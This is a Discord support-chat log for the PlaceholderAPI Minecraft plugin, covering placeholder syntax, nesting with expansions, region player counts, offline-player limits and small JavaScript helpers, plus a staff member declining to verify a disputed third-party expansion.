
But for online players it does

sharp bloom
#

why %placeholder at the start?

warm plover
#

It's the utils expansion

sharp bloom
#

oh

#

why don't u just use the parseother expansion OKK

warm plover
#

Utils expansion is better for me

sharp bloom
#

the one from cj

warm plover
#

Allows me to parse multiple placeholders inside it

sharp bloom
#

OKK well idk then

#

wait for a response from tanguy

warm plover
#

Doesn't work with parse other either though

#

Kk

junior musk
#

Meta can only be accessed with online players

#

there's no method to retrieve it in the OfflibePlayer class, only in the Player one

#

so the placeholder won't work for offline players, no

brittle mica
#

Does it have a limit of placeholder that the JS can manage, or something?

#

Thanks

plush dove
#

Is there a placeholder to check how many times a string contains a string?

#

for example trying to check how many times the string ExampleStringString contains the word String

mint fable
#

lol yes

#

didn't know it existed, but it does

#

%string_occurences_count_<string>_<match>%
@plush dove

mint fable
plush dove
#

Awesome thank you!

manic grail
#

Can you make a sound play, for example when you enter foraging in the menu?

mint fable
manic grail
#

It wasn't that, but I still got the channel mixed up, sorry xd

austere hawk
plush dove
junior musk
#

that's because the placeholder is basically useless

#

it splits the arguments with _, so if you have even just 1,it won't work correctly

#

and since the commandpanels placeholder returns a _ (for OAK_LOG), it'll think that LOG and what's after is the match

plush dove
#

ohh

#

dang

#

any workaround

jolly field
#

hi guys, is there any placeholder extension like which shows how many player's are in a specific region?

junior musk
junior musk
#

and check for %worldguard_region_name%=<your region>

plush dove
#

formatter expansion has {{u}} for _

#

can something like that be added to String occurences

#

maybe I could replace the _ characters first with something else

#

yea ima try that

junior musk
#

wouldn't matter

#

the string expanding parses the placeholder before splitting arguments

plush dove
#

IT WORKS

#

oop my previous message got deleted by the bot

#

my excitement was too much

#

😔

junior musk
#

lol

#

gg

junior musk
#

you can ignore it, it won't affect the plugin, it should be fixed soon

lusty ruin
#

Hi, can you tell me, JavaScript expansion consumes a lot of memory, is there a fix for this? P.S Sorry for my English

junior musk
#

try to enable use_quick_js in PAPI's config

lusty ruin
#

Unfortunately this did not help, maybe the problem is in the scripts?

#

I can't upload screenshots

tender vaporBOT
lusty ruin
junior musk
#

no idea then

versed sorrel
#

im using the %playtime_player% placeholder to show the player time in my scoreboard but its nots working what did i wrong?

plush dove
#

Thoughts on GraalJS?

#

Better or worse than JS?

#

And any better performance wise?

plush dove
#

In conjunction with TAB? if so, then TAB is probably parsing them every second or something like that. You can change them to change the parse rate

jolly field
plush dove
#

use javascript

burnt isle
#

how to make a placeholder that check if
%pixelmon_party_slot_1_pokedex_number% is == any of value 1 100 56 77 468

muted gulch
#

Are there any placeholders (or plugins that include placeholders rather) that allow you to track numbers? Similar to master cooldowns, where you can use a command to assign a value to something, and then use placeholders to check the value?

I am trying to make a voting menu, where each vote gets a token - and then they can spend the tokens to get whatever reward they prefer.

I can't use a traditional economy system as that's already in use - and I'd like this to be separate.

mint fable
#

a custom economy plugin @muted gulch

#

gemseconomy I think has multiple types allowed

#

ya looks like it

jolly field
muted gulch
tender vaporBOT
mint fable
#

you can use changeoutput i suppose

mint fable
#

just trying to think of the syntax

muted gulch
mint fable
#

%utils_parse_changeoutput_equals_input:{worldguard_region_name}_matcher:REGION_1_ifmatch:yes_else:{changeoutput_equals_input:{worldguard_region_name}_matcher:REGION_2_ifmatch:yes_else:no}%

#

@jolly field this this might work if you have the changeoutput and utils expansions

mint fable
#

it will return yes if the user's region is REGION_1 or REGION_2

#

and it's easily expandable

#

if you essentially copy everything from ..changeoutput all the way to else:... that is one "section"

#

if that makes sense

#

and it has to end with no, so if it matches none of them, it returns no

jolly field
#

is it not possible to get the number of players in a region like if i have a region named my region and i use some playerholder and itll show the number of players like 10, 20 whatever players there are

mint fable
#

it is, you need to use playerlist like tanguygab mentioned

#

that's the only expansion that can do this

jolly field
#

alright

mint fable
#

i didn't even think it was possible until he mentioned it

#

idk how it will work with overlapping regions

jolly field
jolly field
mint fable
#

not possible with what publicly exists*

#

anything can be developed

jolly field
#

mhm

mint fable
#

@plush dove this

plush dove
#

thankees

lusty ruin
junior musk
junior musk
tender vaporBOT
junior musk
#

nvm it doesn't support that

#

I thought it did

#

I'll add it then

jolly field
#

👍

mint fable
# junior musk like this 😅

i meant if the player is standing in SPAWN, but also inside A_MINE, I believe %worlguard_region_name% will most likely return the highest priority region (A_MINE)

mint fable
#

because I was going to use changeoutput to get around it 😂

sharp bloom
tender vaporBOT
sharp bloom
#

oops forgot to disable ping sorryOKK

#

So ye all the other regions should have a higher priority and spawn the lowest

#

otherwise the placeholder changes every second

onyx osprey
#

i have 2 palceholders that im trying to nest but i struggle because im a noob i think, can anyone help me get this nesting sorted?

`placeholder 1) %objective_score_ibmazeinuseboard% papi parse me results: 1
placeholder 2) %objective_score_maze1info_#dimentiesz% papi parse me results: 25

When i nest placeholder 1 into placeholder 2 the result:
%objective_score_maze{objective_score_ibmazeinuseboard}info_#dimentiesz% = 0`

#

i tried the utils extention, but parsing

%utils_parse_{objective_score_maze{objective_score_ibmazeinuseboard}info_#dimentiesz}%

ended up resulting papi parse me %utils_parse_{objective_score_maze{objective_score_ibmazeinuseboard}info_#dimentiesz}% = %25%
i have no idea why those extra % signs were added in front or the rear of the exptected 25 value 😛 anyone know?

#

i tried to parse papi parse me %utils_parse_objective_score_maze{objective_score_ibmazeinuseboard}info_dimentiesz%
but that just ended up in the same result = 0

#

nevermind im a noob

jolly field
#

aight

#

is this the right format? %worldguard_nethpot%=region1,%worldguard_diapot%=region2,%worldguard_ironpot%=region3

junior musk
#

yeah that should do the trick

#

wait actually

jolly field
#

alr ill check it

junior musk
#

is %worldguard_nethpot% an actual placeholder?

#

and the others

jolly field
#

Wdym like the _nethpot is the region name

junior musk
#

uh

#

%worldguard_region_name%=nethpot then

#

the placeholder to get the player's region is %worldguard_region_name%

#

and the region you want to check is nethpot right?

jolly field
#

ye

junior musk
#

yeah then %worldguard_region_name%=nethpot

#

%worldguard_region_name%=<region1>,%worldguard_region_name%=<region2>...

jolly field
#

like if theres 10 player's in nethpot region, jtll show the number 10 right

junior musk
#

you can also retrieve the list of players, or you can get a specific player with a number starting from 0

jolly field
#

then i should use %playerlist_myregion_amount% ?

junior musk
#

did you open PAPI's config at all?

jolly field
#

No 💀

junior musk
jolly field
#

lmaoo alr alr

real parrot
#

How to get Unix Time Stamp as placeholder?

muted gulch
#

Are there placeholders to check meta values that can be assigned with DeluxeMenus via the Spigot persistent metadata API?

#

found it: %deluxemenus_meta_<key>_<dataType>_<default_value>%

muted gulch
tender vaporBOT
muted gulch
#

well, you can't set it when a player is offline :\

#

gross.

mint fable
#

yeah... that's how meta works :L

cursive ermine
#

I am trying to use the pinger_isonline placeholder which works on my Hub servers that are on the same VLAN as the Watefall Proxy. When I try to use it on servers that on are the same Waterfall proxy network it doesn't work, but I it can ping it from the proxy network.

I.E. From my hubs which is on 10.1.20.X I can parse %pinger_isonline_10.0.0.10:25561% and it returns online. But if I go to the Hub that is on 10.0.0.10 and try to parse %pinger_isonline_10.0.0.10:25561% it shows offline which is false. Any idea what my be blocking it?

frail peak
#

my placeholderapi plug-in doesn't want to work even being updated to the latest on spigot.

burnt isle
#

hello guys any idea how i can make the null or emply word return as fulse

#

i already make one

#

and its giving issue to me

#
    // Check if the provided data is null or undefined
    if (data=== null || data=== undefined) {
        return false;
    }

    // Convert the data to a string and remove leading/trailing whitespace
    data= data.toString().trim();

    // Check if the string is empty
    if (data=== '') {
        return false;
    }

    // Array of data numbers that can be recycled
    var recyclableNumbers = [144, 146 ];

    // Check if the provided data is in the recyclableNumbers array
    if (recyclableNumbers.includes(parseInt(data))) {
        return true;
    }

    return false; // Return false for other cases



#

this is my code and the checking if not and same value is working but the null is not

burnt isle
#

like (its up to date) error or something else

strange stump
#

Is there a way to make a non existant variable just blank rather than N/A ?

mint fable
#

changeoutput

#

%changeoutput_equals_input:{placeholder}_matcher:N/A_ifmatch:_else:{placeholder}%

strange stump
#

I'm having trouble figuring out how to use the variable I want in that syntax

#

%player_timer.{uuid}%

mint fable
#

it might work

#

the {uuid} might throw it off though

#

wait, that's not a papi placeholder

#

where did you get that placeholder from @strange stump

strange stump
#

does it have to be a papi placeholder? its just from a diff plugin

mint fable
#

well you're asking in the papi support channel

#

not sure what else you're trying to do

strange stump
#

yea but im using papi as the intermediate

mint fable
#

so what is the papi placeholder for the variable?

strange stump
#

idk idk what im doing

mint fable
#

where do you see N/A?

strange stump
#

on tab where i have set the variable (currently non existant)

mint fable
#

what plugin do you use for tab

strange stump
#

TAB by neznamy

mint fable
#

can you send the tab config file

#

?paste

tender vaporBOT
#
FAQ Answer:

Paste Services
When asking for help with a config/menu/code issue please use our paste bin:
(we prefer it over pastebin.com)
HelpChat Paste - How To Use

strange stump
mint fable
#

can you type /papi dump

strange stump
mint fable
#

do you know where %player_timer.{uuid}% comes from?

#

O.o

strange stump
#

skript

mint fable
#

do you know which skript expansion you have? you should avoid using one that uses player identifier

#

i don't know why one would do that

strange stump
mint fable
#

ya.. that's the right one to use

#

but the placeholder shouldn't be %player_timer.{uuid}%

#

it should be %skript_...%

#

presumably %skript_timer.{uuid}%

#

maybe?

#

type /papi parse me %player_timer.{uuid}%

strange stump
#

so %skript_player_clan.{uuid}% player is just part of the variable name

mint fable
#

ohhhhh

#

i see

#

you were just missing skript_

#

the variable name starts with player

#

so type /papi parse me %skript_player_clan.{uuid}%

strange stump
#

it returns N/A and if i set the variable it returns the right variable

mint fable
#

ok

#

but it was doing that before too?

#

O.o

#

without skript_

#

?

strange stump
#

%changeoutput_equals_input:{skript_player_timer.{uuid}}_matcher:N/A_ifmatch:_else:%
would it be like this

strange stump
mint fable
strange stump
#

when i have that it returns {placeholder} in literal text when variable is N/A

mint fable
#

is N/A colored?

strange stump
#

nope its a representation of the variable doesnt exist

#

not that the variable is set to "N/A"

mint fable
#

i am aware

#

but the value is returned

#

when you type /papi parse me %skript_player_timer.{uuid}% is N/A colored at all?

strange stump
#

no

mint fable
#

also you shouldn't put {placeholder} literally

#

you put your placeholder

#

but it should only return that when it's NOT N/A

strange stump
#

it returns it whether its N/A or not right now which is why i think i incorporated the variable in wrong

mint fable
#

oh right if the placeholder fails ya

#

somebody did this the other day to get around it i think sort of

#

hmm

#

what if you also use utils

#

%utils_parse_changeoutput_equals_input:{skript_player_timer.{uuid}}_matcher:N/A_ifmatch:_else:{skript_player_timer.{uuid}}%

#

if this doesn't work, then if you put the user's actual uuid instead of {uuid} would that work?

#

ya know what

#

nevermind all this @strange stump

#

I just remembered...

strange stump
#

no way

mint fable
#

fr

strange stump
#

i literally asked the tab dude

mint fable
#

😮

strange stump
#

before coming here 😭

cursive ermine
strange stump
mint fable
#

if it used the wrong port it wouldn't be able to ping the server whether the firewall was on or off

cursive ermine
#

In my case it pings it when it is off, but as soon as I turn it on then it blocks it. I tried adding a rule to allow those server ports through but it still blocks it.

#

I got it sorted. I was creating the rule wrong. I probably should be binding these to the interface, but I am too lazy for that.

swift tangle
#

Does anyone know of a placeholder expansion that has a placeholder that will return the max size of an item stack?

obsidian kernel
#

Hello! I have a lobby with the ability to switch to game servers, I made holograms displaying the number of players on the servers through the %bungee_server% placeholder. Everything works, the number of players is updated with a slight delay, but this is not critical. The problem is that the number of players is updated only when someone is in the lobby, and if there are no players in the lobby, then the last value is saved. Is there anyway to make a constant update of fillers regardless of the presence of players in the lobby? I tried the ChunkLoader plugin, but it doesn't help.

real parrot
#

How to get Unix Time Stamp as placeholder?

austere hawk
#

Hey to all, I need a little bit help

#

I have a server in which the scoreboard is not working perfectly. I have scoreboard like this

Rank - Member

In my case

Rank - %rankup_current_rank%

analog solstice
#

Hello, is there a placeholder to retrieve the name of an item according to the player's language?

austere hawk
#

@analog solstice can you help me?

analog solstice
austere hawk
#

See general plugin 2

analog solstice
austere hawk
#

@analog solstice check dm

real parrot
#

How to get Unix Time Stamp as placeholder?

mint fable
#

i don't think it currently exists @real parrot

young sphinx
real parrot
mint fable
#

there is a countdown placeholder

#

simple date format

#

@real parrot this

#

or are you looking for cooldowns or something

real parrot
mint fable
#

hmm count up?

real parrot
#

I want Time Stamp because it can be stored as number, and I can store numbers as player scoreboard value (good number storage)

mint fable
#

probably want a custom expansion

real parrot
#

No one ever done it?

mint fable
#

seems pretty niche

real parrot
#

Maybe there is javascript thing for it?

mint fable
#

you can, yeah

real parrot
#

From Javascript expansion thing

#

is it?

mint fable
#

is what

broken cipher
#

hey

#

what happened

#

someone said PAPI was hacked

#

?!

mint fable
broken cipher
#

ok good

#

so only incompetent server owners can get trapped in this

#

btw

#

if we have custom papi expansions, how do we import them back (can we just add back in config manually allow unverfiied expansions boolean value to true?)

#

like is it entirely removed

mint fable
#

the boolean is only for downloading them from the ecloud

#

any expansion in your folder will still load

broken cipher
#

so if i compile in my own environment i can just drag and drop expansion.jar

#

oh ok

#

thanks!

real parrot
#

var time = Math.floor(Date.now() / 1000); time.toFixed();
is it ok to do javascript like that? (taking parts of working scripts until it works)

mint fable
#

yes lol

#

the best way fingerguns

ocean beacon
cursive wigeon
#

im trying to access player specific placeholders (ex: %vault_eco_balance%) from a JS application. searched everywhere for a possible solution and couldnt find much, asked chatgpt and it told me to use PlaceholderAPI's endpoints. Asking it further, it tells me to "add or modify" placeholders in my config.yml and provides this snippet of yaml:

expansions:
  player_data:
    placeholders:
      - player_name
      - player_health
      - player_location

Questions:

  1. i cant seem to find the YAML code in the config.yml, am i supposed to add it?
  2. how does accessing the endpoints work?
  3. how do i use endpoints (i want to expose the %vault_eco_balance% placeholder for usage on my JS application)
vivid sparrow
#

that config option doesn't exist

cursive wigeon
#

cool

#

how bout 1 and 2

vivid sparrow
#

you just use the placeholders, that's it

cursive wigeon
#

i always knew chatgpt made up stuff, but not to this extent... no wonder i couldnt find it anywhere

#

how do i use placeholders

#

on an external application

#

that doesnt run on the server

vivid sparrow
#

ah, you need to expose the data then, with some sort of rest api 🙂 I believe there is a third party plugin that does that

cursive wigeon
#

i want to be able to read player vault balance using the JS app, and no a DB is not an option, i want more than one placeholder

cursive wigeon
#

so i can search up

vivid sparrow
#

The data is on the server, and you want to access it from the outside, so you need a system that exposes the data using something like a REST API

#

if you search "placeholderapi rest api" you might find some resource on spigot

#

but be aware that we don't support that plugin, and if you have any issues/questions about it, you will have to contact the author

cursive wigeon
#

yeah, dw

#

im just asking on where i can get started

#

lol

vivid sparrow
#

ok

cursive wigeon
#

" While it supports placeholderAPI, allowing it to support most PlaceholderAPI supported plugins, some placeholders will return an empty string, due to the fact that they cannot parse as an offline player, but will work when the player is online "

#

do you have any other idea on how i can grab player data when they're offline?

#

i didnt test it yet so i dont know

quartz violet
molten frigate
#

is there a way to get an output from a papi placeholder for another player other than OtherPlayer ?

junior musk
#

the ParseOther expansion allows you to do that

#

though keep in mind that if you use it on offline players, there's no guarantee that it'll work, as not all placeholders support offline players

young sphinx
#

help please guys

midnight oar
tender vaporBOT
sharp jay
#

I’ll check it out once I’m back on my pc

tender vaporBOT
heavy valve
#

while running papi parse me %lifesteal_hearts%

#

the placeholder Is from LifestealCore

#

and its working normally on my scoreboard, but not on others plugin

#

ping me for help

warm topaz
#

redownload changeoutput jar, seems to be corrupted

sharp jay
#

@midnight oar bro why do you keep coming back?

toxic nest
#

Is it possible with any placeholder to put x amount of characters ?
for example
%placeholder_" "_4" which would add 4 space characters ?

stoic mason
#

i need help with placeholders

#

api

#

Playing: %math_{world_players_survival}+{world_players_survival_nether}+{world_players_survival_the_end}%

#

its showing playing 0.00

#

How can i remove decimals

#

can anyone help

#

@sharp jay

tender vaporBOT
heavy valve
#

there are placeholder that do not support offline players?

#

let me explain

junior musk
#

yes

#

not all placeholders support offline players

heavy valve
#

im using an external plugin that gave me a specific value from a player, using it on my scoreboard works perfectly, but then when i use a discord integration to make show that placeholder on discord an error occours, and it work only when the player is online

junior musk
#

it's up to the placeholder's dev to make it work

heavy valve
#

oh ok

#

this is the error, i was right?

junior musk
#

yeah, the plugin is trying to get the player's uuid but the player is null (because it's offline)

heavy valve
#

so i can't do nothing about that right?

junior musk
#

not really, you can ask the dev if they're willing to use the OfflinePlayer instance (for both online and offline players) instead of the Player one (which is only for online players) to get the UUID, but that'll just avoid the error, the dev will have to make the plugin be able to retrieve offline players' information as well, not just the uuid

small pewter
#

Is there any placeholder expansion to change the result of another placeholder?

balmy marten
#

What exactly are you trying to do?

small pewter
balmy marten
#

You could look into using the javascript expansion, if you are feeling up to a bit of tinkering

small pewter
#

Tyy

midnight oar
tender vaporBOT
tender vaporBOT
cursive wigeon
#

WHY

#

it took me too long to write that

spare pewter
#

Hm?

vivid sparrow
#

I already told you we don't offer support, and this isn't the right place to ask anyways, go to #general-plugins

#

And the message was deleted by Barry probably because it had a masked link

midnight oar
#

@sharp jay?

tender vaporBOT
sharp jay
midnight oar
tender vaporBOT
# midnight oar why?
Hey!

Please respect the rules, be patient and don't ping staff members!

sharp jay
midnight oar
#

it's literally a clean expansion

#

without any stealer/rats/hacks/backdoors/whitedoors etc

#

just h3x

sharp jay
#

Your past encounters

midnight oar
#

adam..

sharp jay
#

Nope

#

It’s staying unverified

midnight oar
#

adam... decompile it

#

just de compile

#

it

sharp jay
#

I don’t care you tried to pull some stuff last time

midnight oar
#

it's clean

midnight oar